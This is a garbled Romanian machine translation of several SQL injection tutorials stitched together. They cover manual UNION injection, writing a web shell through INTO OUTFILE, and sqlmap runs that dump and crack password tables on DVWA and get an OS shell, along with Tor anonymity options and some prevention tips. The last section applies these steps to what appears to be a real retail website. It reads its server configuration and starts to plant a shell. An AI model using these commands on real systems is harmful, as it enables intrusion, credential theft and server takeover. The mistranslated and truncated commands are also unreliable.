Contacte

Instrucțiuni pentru utilizarea sqlmap. Partea 1: Bazele muncii (GET). Utilizarea de bază a SQLMap Alte tipuri de atacuri de injecție SQL

Salutări, cititor. În ultimul timp, m-a interesat securitatea web și, într-o oarecare măsură, munca mea este legată de asta. Deoarece Din ce în ce mai des am început să observ subiecte pe diverse forumuri prin care le cer să arate cum funcționează totul, așa că am decis să scriu un articol. Articolul se va adresa celor care nu au întâlnit acest lucru, dar ar dori să învețe. Există relativ multe articole pe această temă pe Internet, dar pentru începători sunt puțin complicate. Voi încerca să descriu totul într-un limbaj clar și exemple detaliate.

Prefaţă

Pentru a înțelege acest articol, nu aveți nevoie de cunoștințe despre limbajul SQL, dar măcar de răbdare bună și puțin creier pentru memorare.

Cred că doar citirea articolului nu va fi suficientă, pentru că... avem nevoie de exemple vii - după cum știți, practica în procesul de memorare nu este niciodată de prisos. Prin urmare, vom scrie scripturi vulnerabile și vom pregăti despre ele.

Ce este injectarea SQL?
În termeni simpli, acesta este un atac asupra bazei de date, care vă va permite să efectuați o acțiune care nu a fost planificată de creatorul scriptului. Exemplu din viață:

Tatăl i-a scris într-o notă mamei sale să-i dea lui Vasya 100 de ruble și să le pună pe masă. Reluând acest lucru într-un limbaj SQL comic, obținem:
LUAȚI 100 DE RUBLE DIN PORTOfel și dă-le lui Vasya

Deoarece tatăl a scris prost bilețelul (scris de mână stângaci) și a lăsat-o pe masă, fratele lui Vasya, Petya, a văzut-o. Petya, fiind un hacker, a adăugat „OR Pete” acolo și rezultatul a fost următoarea solicitare:
LUAȚI 100 DE RUBLE DIN PORTOfel și DĂ-LE LUI Vasya SAU Petya

Mama, după ce a citit biletul, a decis că i-a dat bani lui Vasya ieri și i-a dat 100 de ruble lui Petya. Iată un exemplu simplu de injecție SQL din viață:) Fără a filtra datele (mama abia putea înțelege scrisul de mână), Petya a făcut profit.

Pregătirea
Pentru practică, veți avea nevoie de o arhivă cu scripturile sursă pentru acest articol. Descărcați-l și despachetați-l pe server. De asemenea, importați baza de date și setați datele în fișier cfg.php

Caută injecție SQL

După cum ați înțeles deja, injecția provine din datele primite care nu sunt filtrate. Cea mai frecventă greșeală este de a nu filtra ID-ul transmis. Ei bine, aproximativ vorbind, pune ghilimele în toate domeniile. Fie că este o solicitare GET/POST sau chiar un cookie!

Parametru de intrare numerică
Pentru practică avem nevoie de un scenariu index1.php. După cum am spus mai sus, inserăm ghilimele în ID-ul știrilor.

Deoarece Solicitarea noastră nu are filtrare:

$id = $_GET[„id”]; $query = "SELECT * FROM news WHERE id=$id";

Scriptul va înțelege acest lucru ca

SELECTAȚI * DIN știri WHERE id=1"

Și ne va da o eroare:
Avertisment: mysql_fetch_array() se așteaptă ca parametrul 1 să fie resursă, boolean dat în C:\WebServ\domains\sqlinj\index1.php pe linia 16

Dacă eroarea nu apare, pot exista următoarele motive:

1.Injecția SQL nu este aici - ghilimelele sunt filtrate sau merită convertite (int)
2. Ieșirea de eroare este dezactivată.

Dacă tot primești o eroare - Ura! Am găsit primul tip de injecție SQL - Parametru de intrare numerică.

Parametru de intrare șir

Vom trimite cereri către index2.php. În acest fișier, cererea arată astfel:
$utilizator = $_GET[„utilizator”]; $query = "SELECT * FROM news WHERE user="$user"";

Aici selectăm știrile după numele de utilizator și, din nou, nu filtrăm.
Din nou trimitem o cerere cu o ofertă:

A dat o eroare. BINE! Aceasta înseamnă că există o vulnerabilitate. Pentru început, este suficient pentru noi - să trecem la practică.

Să luăm măsuri

Puțină teorie

Probabil că abia așteptați să obțineți ceva din asta în afară de greșeli. În primul rând, înțelegeți că semnul " -- " este considerat un comentariu în SQL.

ATENŢIE! Trebuie să existe spații înainte și după el. În URL sunt transmise ca %20

Tot ce vine după comentariu va fi eliminat, adică cererea:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Va reuși. Puteți încerca acest lucru pe script-ul index2.php trimițând o solicitare ca aceasta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aflați parametrul UNIUNE. În limbajul SQL cuvântul cheie UNIUNE folosit pentru a combina rezultatele a două interogări SQL într-un singur tabel. Adică pentru a scoate ceva de care avem nevoie dintr-o altă masă.

Să profităm de ea

Dacă parametrul este „Numeric”, atunci nu trebuie să trimitem o ofertă în cerere și să punem, în mod natural, un comentariu la sfârșit. Să revenim la scenariu index1.php.

Să trecem la scriptul sqlinj/index1.php?id=1 UNION SELECT 1 . Interogarea noastră în baza de date arată astfel:
SELECT * FROM news WHERE id=1 UNION SELECT 1
Și ne-a dat o eroare, pentru că... pentru a lucra cu interogări de îmbinare, avem nevoie de același număr de câmpuri.

Deoarece Nu putem influența numărul lor în prima solicitare, apoi trebuie să le selectăm numărul în a doua, astfel încât să fie egal cu prima.

Selectarea numărului de câmpuri

Selectarea câmpurilor este foarte simplă, trebuie doar să trimiteți următoarele solicitări:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Eroare…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Eroare din nou!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nicio eroare! Aceasta înseamnă că numărul de coloane este 5.

A SE GRUPA CU
Se întâmplă adesea să fie 20 sau 40 sau chiar 60 de câmpuri. Pentru a nu trebui să le sortăm de fiecare dată, folosim A SE GRUPA CU

Dacă cererea
sqlinj/index1.php?id=1 GROUP BY 2
nu a arătat nicio eroare, ceea ce înseamnă că numărul de câmpuri este mai mare de 2. Să încercăm:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vedem o eroare, înseamnă că numărul de câmpuri este mai mic de 8.

Dacă nu există nicio eroare cu GROUP BY 4, iar cu GROUP BY 6 există o eroare, atunci numărul de câmpuri este 5

Definirea coloanelor de ieșire
Pentru a vă asigura că nu ni se afișează nimic de la prima solicitare, este suficient să înlocuiți un ID inexistent, de exemplu:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Cu această acțiune, am determinat ce coloane sunt afișate pe pagină. Acum, pentru a înlocui aceste numere cu informațiile necesare, trebuie să continuați solicitarea.

Ieșire de date

Să presupunem că știm că tabelul încă există utilizatoriiîn care câmpurile există id, NumeȘi trece.
Trebuie să obținem informații despre utilizatorul cu ID=1

Prin urmare, să construim următoarea interogare:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM utilizatorii WHERE id=1
De asemenea, scriptul continuă să iasă

Pentru a face acest lucru, vom înlocui numele câmpurilor în locul numerelor 1 și 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Avem ce ne trebuia!

Pentru „parametru de intrare șir”, ca în script index2.php trebuie să adăugați un semn de ghilimele la început și un semn de comentariu la sfârșit. Exemplu:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Citiți/Scrieți fișiere

Pentru a citi și scrie fișiere, utilizatorul bazei de date trebuie să aibă drepturi FILE_PRIV.
Înregistrarea fișierelor
De fapt, totul este foarte simplu. Pentru a scrie un fișier, vom folosi funcția OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Grozav, fișierul a fost înregistrat la noi. Astfel, putem umple mini-coaja:
sqlinj/index2.php?user=-1" UNION SELECT 1,"„,3,4,5 ÎN OUTFILE „1.php” --%20
Citirea fișierelor
Citirea fișierelor este chiar mai ușoară decât scrierea. Este suficient să utilizați pur și simplu funcția LOAD_FILE, pentru locul câmpului pe care îl selectăm:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Astfel, am citit dosarul scris anterior.

Metode de protecție

A te proteja este chiar mai ușor decât a exploata o vulnerabilitate. Doar filtrați datele. Dacă treceți numere, utilizați
$id = (int) $_GET["id"];
După cum a sugerat utilizatorul Malroc. Protejați-vă folosind DOP sau declarații pregătite.

În loc să completeze

Aici vreau să termin prima mea parte despre „Injecția SQL pentru începători”. În al doilea, ne vom uita la exemple mai severe de injecții. Încercați să scrieți scripturi vulnerabile și să executați singur interogări.
Și amintiți-vă, nu aveți încredere în niciun utilizator al site-ului dvs.

SQL Injection este un tip de atac în care un atacator modifică logica de interogare SQL a unei aplicații web, permițându-i să citească/modifica/șterge valori din baza de date și uneori să execute cod arbitrar pe partea serverului. Acest articol va discuta despre popularul utilitar sqlmap pentru efectuarea de injecții SQL.

În acest moment, acest tip de vulnerabilitate este cea mai periculoasă dintre toate posibile. Timp de 7 ani, linia principală a „OWASP TOP-10” a fost condusă de injecții SQL.

Există 5 motive principale pentru această vulnerabilitate:

  1. Validarea insuficientă sau lipsă a parametrilor de intrare, în special a celor introduse de utilizator. „Orice parametru de intrare este rău”
  2. Acces nerezonabil și slab protejat la bazele de date. Această categorie include factori precum: un număr mare de administratori și super-utilizatori (rădăcină), un sistem de autentificare slab, un număr mare de drepturi pentru administratorii secundari etc.
  3. Arhitectură. Utilizarea tehnologiilor învechite, lipsa măsurilor de control, neglijarea metodologiei „modelării amenințărilor”.
  4. Ereditatea codului evident vulnerabil, utilizarea soluțiilor gata făcute cu un nivel scăzut de securitate.
  5. Lipsa unui nivel adecvat de abstractizare a codului executabil din date.

SQLMap.

Tipuri de injecții SQL.

Să ne uităm la tipurile de injecții SQL exploatate de utilitarul SQLMap:

  1. Injecție SQL oarbă bazată pe boolean
    • O metodă prin care cererile și răspunsurile HTTP sunt citite caracter cu caracter pentru a detecta vulnerabilități.
    • Odată ce este detectat un parametru vulnerabil, SQLMap înlocuiește sau adaugă instrucțiuni SQL corecte din punct de vedere sintactic în timp ce așteaptă ca serverul să răspundă prin executarea codului respectiv.
    • SQLMap compară cererea originală validă cu răspunsul de la o solicitare cu cod rău intenționat încorporat.
    • SQLMap folosește algoritmul de bisectare ( bisecțional algoritm) pentru a prelua fiecare caracter al răspunsului folosind maximum șapte solicitări HTTP.
    • Acolo unde răspunsul nu este dat în text pur, SQLMap adaptează algoritmul cu valori mai mari pentru a determina răspunsul.
  2. Injecție SQL oarbă bazată pe timp
    • Metoda Time Based în sine presupune că există o comparație bazată pe timpii de solicitare și răspuns prin injectarea unei instrucțiuni SQL corecte din punct de vedere sintactic în parametrul vulnerabil.
    • SQLMap utilizează instrucțiuni SQL care pun baza de date în așteptare pentru a reveni pentru o anumită perioadă de timp.
    • Folosind același algoritm bisecțional pentru a afișa caracter cu caracter, SQLMap compară timpul de răspuns HTTP cu cererea originală.
  3. Injecție SQL bazată pe erori
    • SQLMap folosește instrucțiuni SQL care pot genera anumite erori.
    • Utilitarul caută erori în răspunsul HTTP al serverului.
    • Această metodă funcționează numai dacă aplicația web este configurată să dezvăluie mesaje de eroare.
  4. Interogare UNION
    • Introduceți instrucțiunea SQL UNION ALL SELECT .
    • Injecția SQL bazată pe interogări UNION funcționează pe baza comportamentului aplicației, de exemplu. atunci când o aplicație trece rezultatul unei interogări SELECT scrise printr-o buclă specifică sau o linie de instrucțiuni care permite ca rezultatul să fie scris în conținutul paginii.
    • În cazul în care ieșirea nu este buclă prin nicio buclă pentru sau alt șir de instrucțiuni, SQLMap utilizează o singură injecție de interogare UNION.
  5. Interogare stivuită
    • Folosind interogări pliate. SQLMap adaugă un punct și virgulă (;) la valoarea parametrului afectat și adaugă instrucțiunea SQL care trebuie executat.
    • Folosind această tehnică, puteți executa instrucțiuni SQL, altele decât SELECT. Acest lucru este util pentru manipularea datelor, obținerea accesului de citire și scriere și, în final, pentru a fi capturat de sistemul de operare.
  6. În afara benzii
    • Această metodă utilizează un canal de comunicare secundar sau alt canal pentru a scoate rezultatele interogărilor executate pe aplicația afectată.
    • De exemplu, inserarea se face într-o aplicație web și un canal secundar precum Interogări DNS, este folosit pentru a redirecționa datele către domeniul atacatorului.

Utilizarea de bază a SQLMap.

Lansați utilitarul (trebuie să fie în variabilaCALE ):

$sqlmap

Sau din directorul de utilitate:

$ python sqlmap.py

Pentru a apela documentația, utilizați tasta «- h / — Ajutor »:

$ sqlmap --help $ python sqlmap.py –help

Acțiunile cheilor SQLMap depind complet de ceea ce dorește exact să obțină atacatorul. Lista de bază a acțiunilor SQLMap arată astfel:

  • Listați informațiile bazei de date, cum ar fi numele, versiunea și alte detalii.
  • Selectați o anumită bază de date pentru a lista informații despre tabelele pe care le conține.
  • Selectați tabelul și enumerați informațiile coloanei.
  • Selectați o coloană și enumerați rândurile pentru a le prelua valorile.
  • Exploatarea în continuare.

Practică.

Pentru pregătirea noastră practică vom folosi La naiba Vulnerabil Web Aplicație (DVWA sau „La naiba de aplicație web vulnerabilă”).

DVWA este o aplicație web gratuită construită pe tehnologii precum PHP și MySQL, concepută pentru a antrena abilitățile de pentesting.

Acum ne interesează doar injecțiile, dar, în general, îți poți testa abilitățile în alte vulnerabilități create pe baza oficialului OWASP TOP -10 .

P.S.: Această practică presupune că aveți cunoștințe de bază pentru Linux, un nivel inițial de engleză și capacitatea de a folosi Google (dacă nu aveți abilitățile de mai sus).

Instalare:

  • Descărcați aplicația și urmați instrucțiunile;
  • Schimbați nivelul de dificultate la LOW;
  • Suntem interesați doar de filele „SQL Injection”;

Date inițiale:

  • Server web într-o rețea privată
  • Adresă URL vulnerabilă: http:// ta gazdă . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Parametru vulnerabil: id

Asadar, haideti sa începem:

  1. Confirmăm disponibilitateaSQL injecții:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab4850ee"

Explicația comenzii:

— url – URL cu presupusul parametru vulnerabil. Este important de reținut că variabila pentru această cheie este scrisă între ghilimele, deoarece Adresa URL care este verificată are mai mult de un parametru trecut. În caz contrar, puteți ignora ghilimele și puteți utiliza versiunea scurtă a cheii “- u fara semn egal .

- cookie – Cookie de sesiune pentru acces direct în timpul unui atac (cheie opțională).

Concluzie:

Analiză:

  • Aplicația este vulnerabilă la injectarea SQL
  • Tip de injectare – Interogare UNION
  • Baza de date back-end (DBMS) – MySQL5
  • Detalii tehnice ale sistemului de operare - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Enumerăm numele bazelor de date:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480e4" –

Explicația comenzii:

—dbs – cheie pentru listarea bazelor de date disponibile.

Concluzie:

Analiză: SQLMap a enumerat bazele de date disponibile (7 în total).

  1. Enumerăm numele tabelelor (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415c5ef26c415ab480e425ab4804" --cookie="security=low;

Explicația comenzii:

-D – Specificați baza de date care ne interesează.

--tables – Listează tabelele disponibile în baza de date.

Concluzie:

Analiză: După cum putem vedea, SQLMap a listat cu succes numele a 2 tabele din baza de date dvwa .

  1. O listă suplimentară a numelor de coloane din tabel „utilizatorii ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab485" --cookie="security=low; utilizatori – coloane

Explicația comenzii:

-T – Indicați tabelul care ne interesează.

—columns – Listează coloanele disponibile în tabel.

Concluzie:

Analiză: După cum putem vedea, SQLMap a enumerat cu succes numele a 6 coloane din tabel utilizatorii, bd dvwa .

  1. Enumerăm/tragem valori din tabel „utilizatorii ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab485" --cookie="security=low; utilizatori -C user_id,user,parola --dump

Explicația comenzii:

C – Indicați coloanele care ne interesează.

--dump – Dumpează valorile din coloanele listate.

Concluzie:

Analiză: Pe baza răspunsului SQLMap, notăm următoarele puncte:

  • SQLMap preia înregistrările din coloanele specificate și apoi analizează datele conținute în acele coloane.
  • Odată ce datele sunt recunoscute ca posibile hash-uri de parole, SQLMap încearcă să spargă hash-ul folosind diverși algoritmi de hashing.
  • În acest caz, hash-ul este MD5, așa că, cu prima tehnică de hash pe care o folosește instrumentul, poate sparge cu succes hash-urile și poate produce un răspuns bine formatat.
  • În plus, instrumentul salvează intrările listate într-un format de fișier „.csv” pentru utilizare ulterioară; Deci nu trebuie să aruncați datele într-un fișier text sau să faceți o captură de ecran, SQLMap se va ocupa de asta.
  1. Exploatarea în continuare și preluarea serverului (A.S.P. , nu este inclusDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Explicația comenzii:

—date – Specificați parametrii pentru testare care sunt trimiși în cererea POST.

—os —shell – Cheie specială pentru încercarea de a exploata consola serverului prin injecție SQL.

Concluzie:

Analiză: Pe baza răspunsului SQLMap, notăm următoarele puncte:

  • După confirmarea și exploatarea injecției SQL, SQLMap verifică dacă utilizatorul este DBA (Data Base Administrator).
  • Instrumentul a încercat apoi să utilizeze o procedură stocată extinsă - „xp_cmdshell”, care este folosită în mod obișnuit de SQL Server 2000.
  • „xp_cmdshell” este folosit pentru a executa linia de comandă dată ca o comandă a sistemului de operare. La rândul său, scoate rezultatul ca text standard.

Beneficiile obținerii unui nivel mai profund de acces la sistem:

  • Acces la acreditările utilizatorului sau la hash-uri de parolă.
  • Un shell interactiv care vă va permite să încărcați sau să descărcați fișiere de pe server.
  • Rulați comenzile axei (OS) pentru a explora rețeaua internă.
  • Posibilitatea de a descărca programe malware.
  • Exploatarea în continuare folosind Metasploit Framework.
  • Crearea și umplerea ușilor din spate.

Cele mai bune practici și utilizare avansată.

  1. SQLMap ȘiSĂPUN (Simplu Obiect Acces Protocol ) solicită: Procesul de analizare a cererilor SOAP este destul de simplu:
    • Capturați solicitarea dvs. SOAP.
    • Salvarea acestuia într-un fișier text împreună cu posibilii parametri vulnerabili.
    • Utilizați comanda de mai jos pentru SQLMap împreună cu opțiunea -p dacă cunoașteți parametrul vulnerabil:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap va analiza automat cererea SOAP și va încerca să pătrundă în parametrul vulnerabil.
  1. SQLMap ȘiJSON (JavaScript Obiect Notaţie ) solicită:În scenarii similare pentru utilizarea SQLMap pentru interogări SOAP, interogările JSON pot fi, de asemenea, analizate și exploatate. Pentru un tip de interogare JSON, SQLMap vă va solicita să exploatați vulnerabilitatea detectând tipul de interogare JSON în „fișierul de interogare”. Odată ce răspundeți da, instrumentul va analiza solicitarea și va alege propriul vector de atac.
  2. SQLMap și server proxy: Tipurile de rețele de întreprindere sunt de obicei securizate și monitorizate folosind proxy-uri controlate pentru tot traficul de intrare sau de ieșire. În astfel de cazuri, aveți opțiunea de a adăuga o opțiune proxy direct la opțiunea SQLMap pentru a comunica cu adresa URL țintă. Deși SQLMap este un instrument de linie de comandă, el comunică prin protocolul HTTP, prin urmare, dacă setați un proxy HTTP pentru conexiunea la Internet corespunzătoare, SQLMap îl va lua ca bază:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap ȘiWAF (Web Aplicație Firewall ): WAF este un strat suplimentar de protecție pentru aplicațiile web, complicând semnificativ analiza și operarea folosind metodele standard disponibile în SQLMap. În acest scop, există o funcție „tamper -script”, care simplifică foarte mult lucrul cu aplicațiile web situate în spatele unui WAF.
  2. SQLMap si anonimatul: Dacă doriți să vă ascundeți identitatea și să vă prezentați ca anonim pentru aplicația țintă, puteți utiliza serverul proxy TOR (The Onion Router). În SQLMap puteți configura proxy-ul TOR pentru a ascunde sursa din care se generează traficul sau cererea cu următoarele chei:
    • tor trecerea utilitarului în modul proxy TOR.
    • tor tip configurarea manuală a protocolului proxy TOR (HTTP /SOCKS 4/4a /5).
    • Verifica tor verificarea funcționalității proxy-ului TOR

Injecția SQL este un atac care exploatează instrucțiunile SQL dinamice, comentând anumite părți ale declarațiilor sau adăugând o condiție care va fi întotdeauna adevărată. Acesta vizează găuri în arhitectura aplicațiilor web și folosește instrucțiuni SQL pentru a executa cod SQL rău intenționat:

În acest articol, vom analiza tehnicile utilizate în injecțiile SQL și cum să protejăm aplicațiile web de astfel de atacuri.

Cum funcționează injecția SQL

Tipurile de atacuri care pot fi efectuate folosind injecția SQL variază în funcție de tipul de motoare de baze de date afectate. Atacul vizează instrucțiuni SQL dinamice. O instrucțiune dinamică este o instrucțiune care este creată în timpul rulării pe baza parametrilor dintr-un formular web sau dintr-un șir de interogare URI.

Luați în considerare o aplicație web simplă cu un formular de conectare. Codul formularului HTML este mai jos:

  • Formularul acceptă o adresă de e-mail și apoi parola este trimisă într-un fișier PHP numit index.php;
  • Sesiunea este stocată într-un cookie. Această caracteristică este activată prin verificarea steagului reamintiți-mă. Metoda post este folosită pentru a trimite date. Aceasta înseamnă că valorile nu sunt afișate în URL.

Să presupunem că cererea de verificare a ID-ului utilizatorului de pe partea serverului arată astfel:

  • Solicitarea folosește valorile matricei $_POST direct, fără a o dezinfecta;
  • Parola este criptată folosind algoritmul MD5.

Ne vom uita la un atac folosind injecția SQL sqlfiddle. Deschideți adresa URL http://sqlfiddle.com/ în browser. Pe ecran va apărea următoarea fereastră.

Notă: va trebui să scrieți instrucțiuni SQL:

Pasul 1: introduceți acest cod în panoul din stânga:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `parola` VARCHAR(45) NULL, PRIMARY KEY (`id`)); introduceți în utilizatori (e-mail, parolă) valori (" [email protected]",md5("abc"));

Pasul 2: Faceți clic pe butonul Construiți Schema».
Pasul 3: Introduceți codul de mai jos în panoul din dreapta:

selectați * dintre utilizatori;

Pasul 4: Faceți clic pe „ Rulați SQL" Veți vedea următorul rezultat:

Să presupunem că utilizatorul furnizează o adresă de e-mail [email protected]și 1234 ca parolă. Interogarea care trebuie executată în baza de date poate arăta astfel:

Exemplul de cod de injecție SQL de mai sus poate fi ocolit comentând o parte din parolă și adăugând o condiție care va fi întotdeauna adevărată. Să presupunem că un atacator introduce următoarele date în câmpul adresei de e-mail:

[email protected]" SAU 1 = 1 LIMITĂ 1 -- " ]

și xxx în câmpul pentru parolă.

Declarația dinamică generată va arăta astfel:

  • [email protected] se termină cu un singur ghilimele, care termină șirul;
  • SAU 1 = 1 LIMIT 1 este o condiție care va fi întotdeauna adevărată și limitează rezultatele returnate la o singură înregistrare.

0; „ȘI... este un comentariu SQL care exclude partea cu parolă.

Copiați interogarea de mai sus și inserați-o în caseta de text FiddleRun SQL, așa cum se arată mai jos:

Activitate hacker: injecții SQL în aplicații web

Avem o aplicație web simplă disponibilă la http://www.techpanda.org/ care este vulnerabilă în mod special la atacurile de injecție SQL pentru începători, în scopuri demonstrative. Codul formularului HTML dat mai sus este preluat din pagina de autorizare a acestei aplicații.

Oferă securitate de bază, cum ar fi igienizarea câmpurilor de e-mail. Aceasta înseamnă că codul de mai sus nu poate fi folosit pentru a ocoli acest mecanism.

Pentru a ocoli acest lucru, puteți utiliza câmpul pentru parolă. Diagrama de mai jos prezintă pașii pe care trebuie să îi urmați:

Să presupunem că atacatorul furnizează următoarele date:

Pasul 1: Intră [email protected] ca adresă de e-mail;
Pasul 2: Introduceți xxx’) SAU 1 = 1 - ] ;

Faceți clic pe butonul „Trimite”.

Acesta va fi trimis la panoul de administrare. Interogarea generată va arăta astfel:

Diagrama de mai jos arată cum a fost generată cererea:

Aici:

  • Solicitarea presupune că se utilizează criptarea md5;
  • Se folosesc ghilimele unice de închidere și parantezele;
  • La operator se adaugă o condiție care va fi întotdeauna adevărată.

De obicei, atacatorii încearcă să folosească mai multe metode diferite într-un atac cu injecție SQL pentru a-și atinge obiectivele.

Alte tipuri de atacuri cu injecție SQL

Injecțiile SQL pot provoca mult mai multe daune decât conectarea la un sistem prin ocolirea mecanismului de autorizare. Unele dintre aceste atacuri pot:

  • Efectuați ștergerea datelor;
  • Efectuează actualizarea datelor;
  • Adăugați date;
  • Executați comenzi pe server care vor descărca și instala programe rău intenționate;
  • Exportați date valoroase, cum ar fi detaliile cardului de credit, e-mailul și parolele pe serverul de la distanță al atacatorului.

Lista de mai sus nu este completă. Pur și simplu oferă o idee despre pericolele pe care le prezintă injecțiile SQL.

Instrumente pentru automatizarea injectărilor SQL

În exemplul de mai sus, am folosit metode de atac manual. Înainte de a efectua o injecție SQL, trebuie să înțelegeți că există instrumente automate care vă permit să efectuați atacuri mai eficient și mai rapid:

  • SQLSmack;
  • SQLPing 2;
  • SQLMap.

Cum să preveniți injecțiile SQL

Iată câteva reguli simple pentru a vă proteja împotriva atacurilor prin injecție SQL:

Intrarea utilizatorului nu trebuie să fie de încredere. Întotdeauna trebuie să fie dezinfectat înainte ca datele să fie utilizate în operațiuni SQL dinamice.

Proceduri stocate- Pot încapsula interogări SQL și pot procesa toate datele de intrare ca parametri.

Interogări pregătite- Interogările sunt create mai întâi, iar apoi toate datele furnizate de utilizator sunt procesate ca parametri. Acest lucru nu afectează sintaxa instrucțiunii SQL.

Expresii obisnuite- poate fi folosit pentru a detecta codul potențial rău intenționat și pentru a-l elimina înainte de a executa instrucțiuni SQL.

Drepturi de acces pentru a vă conecta la baza de date- la protejați împotriva injecțiilor SQL, conturilor care sunt folosite pentru a se conecta la baza de date ar trebui să li se acorde numai drepturile de acces necesare. Acest lucru va ajuta la limitarea acțiunilor pe care instrucțiunile SQL le pot efectua pe server.

Mesaje de eroare- nu trebuie să dezvăluie informații confidențiale. Mesaje de eroare personalizate simple, cum ar fi „ Ne pare rău, a apărut o eroare tehnică. Echipa de asistență a fost deja anunțată despre asta. Vă rugăm să încercați din nou mai târziu" poate fi folosit în loc să afișeze interogările SQL care au cauzat eroarea.

Spoiler: .ZEN

Avem o injecție SQL pe site care arată astfel:

Primul lucru pe care vrem să-l facem este să verificăm dacă avem privilegii de a scrie fișiere pe resursa atacată; pentru a face acest lucru, încărcați terminalul și lansați următoarea comandă:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Apăsăm Enter și începe analiza injecției noastre SQL, raportul arată astfel:

După cum puteți vedea în raport, sunt scrise versiunea Apache, versiunea MySQL și versiunea OS instalată pe server, toate acestea ne vor fi utile în viitor, dar cel mai important, puteți vedea că avem drepturi de a scrie fișiere, aceasta este afișată în linia Current User is DBA: True

Următorul pas pentru noi este să obținem căile pentru a ne înregistra shell-ul. Putem obține calea către site-ul nostru pe server prin descărcarea fișierului httpd.conf. Obținem informații despre locația fișierului httpd.conf folosind Google; puteți căuta după versiunea sistemului de operare care este instalat sau după lista celor mai probabile căi. În general, nu voi intra în adâncime în navigarea pe motoarele de căutare, tocmai când ați aflat cea mai probabilă locație a căii către fișier, atunci este timpul să descărcați același fișier pe disc, pentru a face acest lucru, introduceți următoarele comandă și solicită citirea fișierului de pe server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Să observăm imediat că nu este întotdeauna posibil să găsiți acest fișier de configurare pentru prima dată, astfel încât să puteți utiliza căile cele mai probabile în care poate fi localizat acest fișier:

LISTA CĂI POSIBILE CĂTRE FIȘIERUL DE CONFIGURARE:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Primim un raport de la sqlmap sub forma următoare:

După cum puteți vedea, sqlmap ne-a spus că fișierul are aceeași dimensiune ca fișierul de pe server, prin urmare avem dreptul de a citi acest fișier. Dacă nu există suficiente drepturi pentru a citi acest fișier, atunci ar apărea o eroare că fișierul salvat pe mașina noastră are o dimensiune diferită de fișierul de pe server sau nu există niciun fișier pe server la calea pe care am specificat-o și nu a avut niciodată fost. Sqlmap a salvat fișierul nostru în fișierele de raport și pentru a-l citi trebuie să lansăm managerul de ferestre. Pentru a lansa managerul de ferestre, deschidem o altă fereastră de terminal și introducem comanda:

Apoi, în managerul care se deschide, urmăm calea în care sqlmap a adăugat fișierul, adică:
/root/.sqlmap/output/sacoor.com
Apoi, treceți cursorul peste fișier, apăsați butonul F3 de pe tastatură și citiți fișierul de configurare Apache:

Din fișierul nostru de configurare vedem că site-ul nostru se află pe server pe următoarea cale:
/home/sbshop/site/

Acum că avem puține informații, putem încerca să umplem shell-ul, pentru a face acest lucru introducem următoarea comandă:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

